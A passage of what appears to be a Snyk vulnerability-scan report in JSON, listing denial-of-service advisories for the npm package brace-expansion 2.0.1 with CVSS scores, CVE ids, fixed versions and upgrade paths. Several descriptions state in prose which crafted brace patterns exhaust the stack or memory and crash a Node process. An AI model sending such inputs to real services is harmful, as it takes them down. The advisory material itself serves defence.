Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
